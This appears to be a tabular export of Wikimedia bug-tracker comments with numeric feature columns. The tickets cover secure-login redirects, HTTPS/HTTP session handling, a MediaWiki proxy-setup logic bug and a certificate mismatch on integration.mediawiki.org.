**Severity**: normal"
1749469,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625599140,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,409,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1748649,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625295540,,PHID-USER-ov4ldep5fq73sfn4pnfl,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,409,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1747098,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625131530,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,409,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
1746398,[SUGGESTION] Login page doesn't respect $wgSecureLogin,,,,1625034699,,PHID-USER-nw5bjvn7dgftqa7rtkht,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,409,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
229186,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"

*** This bug has been marked as a duplicate of bug 54512 ***",,,1380809277,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 54512 ***"
229175,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"Since bug 54512 has been marked as a duplicate of this, I'll note here that in addition to Special:OpenIDLogin the various URLs returned by Special:OpenIDXRDS also need to not fail if the forceHTTPS cookie might be set. See that bug for details.",,,1380809044,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,True,,,5,True,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,20.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,4.0,16.0,6.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,2.0,20.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.08,0.86,"Since bug 54512 has been marked as a duplicate of this, I'll note here that in addition to Special:OpenIDLogin the various URLs returned by Special:OpenIDXRDS also need to not fail if the forceHTTPS cookie might be set. See that bug for details."
229167,[SUGGESTION] Login page doesn't respect $wgSecureLogin,*** Bug 54512 has been marked as a duplicate of this bug. ***,,,1380787870,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,3,False,,,5,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 54512 has been marked as a duplicate of this bug. ***
229160,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"I'm referring to how even when $wgSecureLogin is true, the Special:OpenIDLogin page (and the entire login process) still can take place over HTTP. Also, you can have HTTP providers even when $wgSecureLogin is enabled.",,,1368022531,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,16.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,7.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,4.088888888888889,0.7777777777777778,"I'm referring to how even when $wgSecureLogin is true, the Special:OpenIDLogin page (and the entire login process) still can take place over HTTP. Also, you can have HTTP providers even when $wgSecureLogin is enabled."
229152,[SUGGESTION] Login page doesn't respect $wgSecureLogin,"(In reply to comment #0)
> When $wgSecureLogin is set to true, the OpenID login page should redirect the
> user to HTTPS so that all transactions occur over TLS.

@Tyler:

Isn't that a matter and task of the login code in MediaWiki core, which is now used from within OpenID ?

Perhaps, can you perform some tests with your local version, and let me know ?",,,1367909694,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-x6kvcnfl7wmszzl6z6ai,task_subcomment,,True,c2,1,False,,,-17,True,2.0,0.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,4.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,14.0,0.0,4.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,5.0,12.0,4.0,4.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,3.456140350877193,0.8596491228070176,"(In reply to comment #0)
QUOTE
QUOTE
SCREEN_NAME:

Isn't that a matter and task of the login code in MediaWiki core, which is now used from within OpenID ?

Perhaps, can you perform some tests with your local version, and let me know ?"
46330,Login on https doesn't log you in on http,"Go to http://en.m.wikipedia.org/wiki/Typhoon_Rusa
Click the watchlist star and click login
(Note you are now on https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Typhoon+Rusa&returntoquery=article_action%3Dwatch&wpStickHTTPS=1)
Login
Click back twice so you are back on http://en.m.wikipedia.org/wiki/Typhoon_Rusa and hit refresh
You are no longer logged in

Expected:
Login on https should log you in on http

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43909",Needs Triage,90.0,1359074100,1359734282.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-cb3ozaho23jhwlgfcdei,task_description,resolved,True,c2,1,False,False,True,-31,True,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,9.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,4.0,20.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.2804878048780486,0.524390243902439,"Go to URL
Click the watchlist star and click login
(Note you are now on URL
Login
Click back twice so you are back on URL and hit refresh
You are no longer logged in

Expected:
Login on https should log you in on http

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
227882,Login on https doesn't log you in on http,"(In reply to comment #3)
> This should resolve the bug:
> https://gerrit.wikimedia.org/r/#/c/45922/

Merged by MaxSem on the 30th.",,,1359734282,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,True,,,-30,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9,0.9,"(In reply to comment #3)
QUOTE
QUOTE

Merged by MaxSem on the 30th."
227875,Login on https doesn't log you in on http,"This should resolve the bug:
https://gerrit.wikimedia.org/r/#/c/45922/",,,1359164942,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,"This should resolve the bug:
URL"
227867,Login on https doesn't log you in on http,"True. I'm coming from a UX point of view here.

What I'm getting at is if as a user I access wikipedia via http and click on login I am now logged in and accessing wikipedia over https.

Now if I go to Wikipedia again on http via a google link I am now logged out and have to login again.

This loop will continue until I get bored of logging into Wikipedia (logging in is dull right?)

An ideal solution would be to remember a user logged in and redirect them to https on subsequent visits. How we might do this I'm not sure.",,,1359142064,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,False,,,-31,True,0.0,0.0,0.0,1.0,1.0,5.5,2.0,0.0,0.0,1.0,2.5,2.0,0.0,0.0,0.0,5.5,0.0,5.0,15.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,10.5,2.0,2.5,5.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,6.5,15.0,3.0,1.0,0.0,0.0,6.5,0.0,1.5,3.0,1.0,3.0,0.0,0.0,0.0,3.5225409836065573,0.7609289617486339,"True. I'm coming from a UX point of view here.

What I'm getting at is if as a user I access wikipedia via http and click on login I am now logged in and accessing wikipedia over https.

Now if I go to Wikipedia again on http via a google link I am now logged out and have to login again.

This loop will continue until I get bored of logging into Wikipedia (logging in is dull right?)

An ideal solution would be to remember a user logged in and redirect them to https on subsequent visits. How we might do this I'm not sure."
227859,Login on https doesn't log you in on http,Logging in on https should NEVER log you in on http -- that defeats the purpose of an encrypted connection and makes it trivial for network sniffers or MiTM to steal your tokens.,,,1359141312,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-cb3ozaho23jhwlgfcdei,task_subcomment,,True,c2,1,True,,,-31,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,21.0,3.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.294117647058823,0.9411764705882353,Logging in on https should NEVER log you in on http -- that defeats the purpose of an encrypted connection and makes it trivial for network sniffers or MiTM to steal your tokens.
46113,http proxy support broken,"**Author:** `buster2`

**Description:**
The change from Wed, 29 Feb 2012 in includes/HttpFunction.php broke mediawiki’s proxy support.

see https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/core.git;a=commitdiff;h=1d065d50f63676e081b0101f849aaa0249b950c7;hp=2730e89017079d4675a8ef9d353255661a03a112 in function proxySetup() 

-               if ( $this->proxy && !$this->noProxy ) {

If there is a proxy set AND we should NOT USE proxy then return instantly without setting a proxy.

That sounds reasonable.

+               if ( $this->proxy || !$this->noProxy ) {

If there is a proxy set OR we should NOT USE proxy then return instantly without setting a proxy.
(Correctly) Applying De_Morgan's laws we get:
If there is a proxy set AND we should NOT NOT USE proxy then return instantly without setting a proxy.
Simplifying we get:
If there is a proxy set AND we should USE proxy then return instantly without setting a proxy.

That doesn’t make any sense.

--------------------------
**Version**: 1.20.x
**Severity**: normal",Needs Triage,90.0,1358524080,1358551330.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qayz5gik5bfo3elqy3tw,task_description,resolved,True,c2,1,False,False,True,-32,True,0.5,0.0,0.0,0.0,2.0,1.5,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,2.0,3.5,0.5,6.5,6.5,0.0,0.0,2.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.5,2.0,16.0,3.0,3.5,6.0,0.0,0.0,1.0,0.0,5.0,0.0,1.0,0.0,3.0,6.5,5.5,0.0,0.0,0.0,3.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,3.7777777777777777,0.5202020202020202,"**Author:** CODE

**Description:**
The change from Wed, 29 Feb 2012 in includes/HttpFunction.php broke mediawiki’s proxy support.

see URL in function proxySetup() 

-               if ( $this->proxy && !$this->noProxy ) {

If there is a proxy set AND we should NOT USE proxy then return instantly without setting a proxy.

That sounds reasonable.

+               if ( $this->proxy || !$this->noProxy ) {

If there is a proxy set OR we should NOT USE proxy then return instantly without setting a proxy.
(Correctly) Applying De_Morgan's laws we get:
If there is a proxy set AND we should NOT NOT USE proxy then return instantly without setting a proxy.
Simplifying we get:
If there is a proxy set AND we should USE proxy then return instantly without setting a proxy.

That doesn’t make any sense.

--------------------------
**Version**: 1.20.x
**Severity**: normal"
215790,http proxy support broken,"I think this is not what I proposed... 

The mechanism was intended to disable a proxy (even if this has been set-up in the Settings) on a url-by-url base by setting noProxy for such urls (in an intranet) where no proxy is needed.",,,1358552120,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-qayz5gik5bfo3elqy3tw,task_subcomment,,True,c2,1,False,,,-32,True,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,5.0,14.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,9.0,7.0,7.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,5.0,0.0,2.0,0.0,0.0,0.0,3.357142857142857,0.7857142857142857,"I think this is not what I proposed... 

The mechanism was intended to disable a proxy (even if this has been set-up in the Settings) on a url-by-url base by setting noProxy for such urls (in an intranet) where no proxy is needed."
215786,http proxy support broken,"I think there is some confusion with lazy loading there. If the proxy is already set, setting it again does nothing. The problem is with the default proxy setting.

The code is way too confusing for what it actually does, but a quick change is proposed in https://gerrit.wikimedia.org/r/#/c/44682/1 for now.",,,1358535679,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-qayz5gik5bfo3elqy3tw,task_subcomment,,True,c2,1,False,,,-32,True,2.0,0.0,0.0,4.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,12.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,2.0,0.0,0.0,0.0,9.0,9.0,9.0,2.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8596491228070176,0.7017543859649122,"I think there is some confusion with lazy loading there. If the proxy is already set, setting it again does nothing. The problem is with the default proxy setting.

The code is way too confusing for what it actually does, but a quick change is proposed in URL for now."
45583,bad certificate on integration.mediawiki.org,"Visiting https://integration.mediawiki.org/ direct or with a link from gerrit gives a bad certificate warning, because the certificate is for *.wikimedia.org.

It is possible to get the right certificate here? Thanks.

See also bug 40697

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1357126200,1358167436.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-kr6fcpndz6xhevdhteh3,task_description,declined,True,c2,1,False,False,True,-34,True,0.0,0.0,0.0,0.0,0.0,8.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,11.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,8.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.098360655737705,0.7049180327868853,"Visiting URL direct or with a link from gerrit gives a bad certificate warning, because the certificate is for *.wikimedia.org.

It is possible to get the right certificate here? Thanks.

See also bug 40697

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
209280,bad certificate on integration.mediawiki.org,"The server uses a certification per domain (mediawiki.org or wikimedia.org. The entries 'integration' points to the same IP address on which Apache is listening.

To find out which hostname is actually requested, the web client and server uses the Server Name Indication system http://en.wikipedia.org/wiki/Server_Name_Indication .

The system is not implemented for Internet Explorer under Windows XP: http://blogs.msdn.com/b/ieinternals/archive/2009/12/07/certificate-name-mismatch-warnings-and-server-name-indication.aspx

So either:
- get a more recent OS
- use a different web browser
- accept the certificate (I guess that would work)


The only possible fix would be to have two different public IP address on the continuous integration host, one address per domain. We are never going to do that.",,,1358167436,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-33,True,0.0,0.0,0.0,1.0,0.5,6.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.5,0.0,4.0,6.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,1.5,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,7.5,3.0,12.5,0.0,1.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,1.5,6.5,4.5,0.0,1.0,0.0,1.5,0.0,1.0,2.0,0.0,1.5,1.0,0.0,0.5,4.159134615384616,0.7985576923076922,"The server uses a certification per domain (mediawiki.org or wikimedia.org. The entries 'integration' points to the same IP address on which Apache is listening.

To find out which hostname is actually requested, the web client and server uses the Server Name Indication system URL .

The system is not implemented for Internet Explorer under Windows XP: URL

So either:
- get a more recent OS
- use a different web browser
- accept the certificate (I guess that would work)


The only possible fix would be to have two different public IP address on the continuous integration host, one address per domain. We are never going to do that."
209276,bad certificate on integration.mediawiki.org,"With FireFox 17 I see a certificate for *.mediawiki.org from RapidSSL CA (GeoTrust, Inc.) from 18.07.2011 to 19.07.2016, all Okay.

But with Internet Explorer 8 I see a certificate for *.wikimedia.org from Equifax (Equifax Secure Certificate Authority) from 03.08.2011 to 22.08.2015, not Okay

I have cleared my cache, but there is something wrong with IE. Can someone test this with Internet Explorer? Thanks.",,,1357591943,,PHID-USER-a6jwrurphpx6yl4coupk,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,False,,,-34,True,1.0,3.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,3.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,30.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,6.0,0.0,5.0,15.0,20.0,1.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,4.430379746835443,0.6835443037974683,"With FireFox 17 I see a certificate for *.mediawiki.org from RapidSSL CA (GeoTrust, Inc.) from 18.07.2011 to 19.07.2016, all Okay.

But with Internet Explorer 8 I see a certificate for *.wikimedia.org from Equifax (Equifax Secure Certificate Authority) from 03.08.2011 to 22.08.2015, not Okay

I have cleared my cache, but there is something wrong with IE. Can someone test this with Internet Explorer? Thanks."
209273,bad certificate on integration.mediawiki.org,"alex@alex:~/Git/Wikimedia/Operations/puppet (production)$ git blame files/apache/sites/integration.mediawiki.org | grep SSL
21b50367 (Antoine Musso 2011-11-17 14:50:15 +0100 112) 	SSLEngine on
3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 113) 	SSLCertificateFile /etc/ssl/certs/star.mediawiki.org.pem
3e2f00d4 (Antoine Musso 2011-12-21 19:42:25 +0100 114) 	SSLCertificateKeyFile /etc/ssl/private/star.mediawiki.org.key
0e0d2d43 (dzahn         2011-12-28 16:52:37 +0100 115) 	SSLCACertificateFile /etc/ssl/certs/RapidSSL_CA.pem",,,1357574246,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-kr6fcpndz6xhevdhteh3,task_subcomment,,True,c2,1,True,,,-34,True,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.5,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.6081411600279525,0.6256114605171209,"alex@alex:~/Git/Wikimedia/Operations/puppet (production)$ git blame files/apache/sites/integration.mediawiki.org | grep SSL
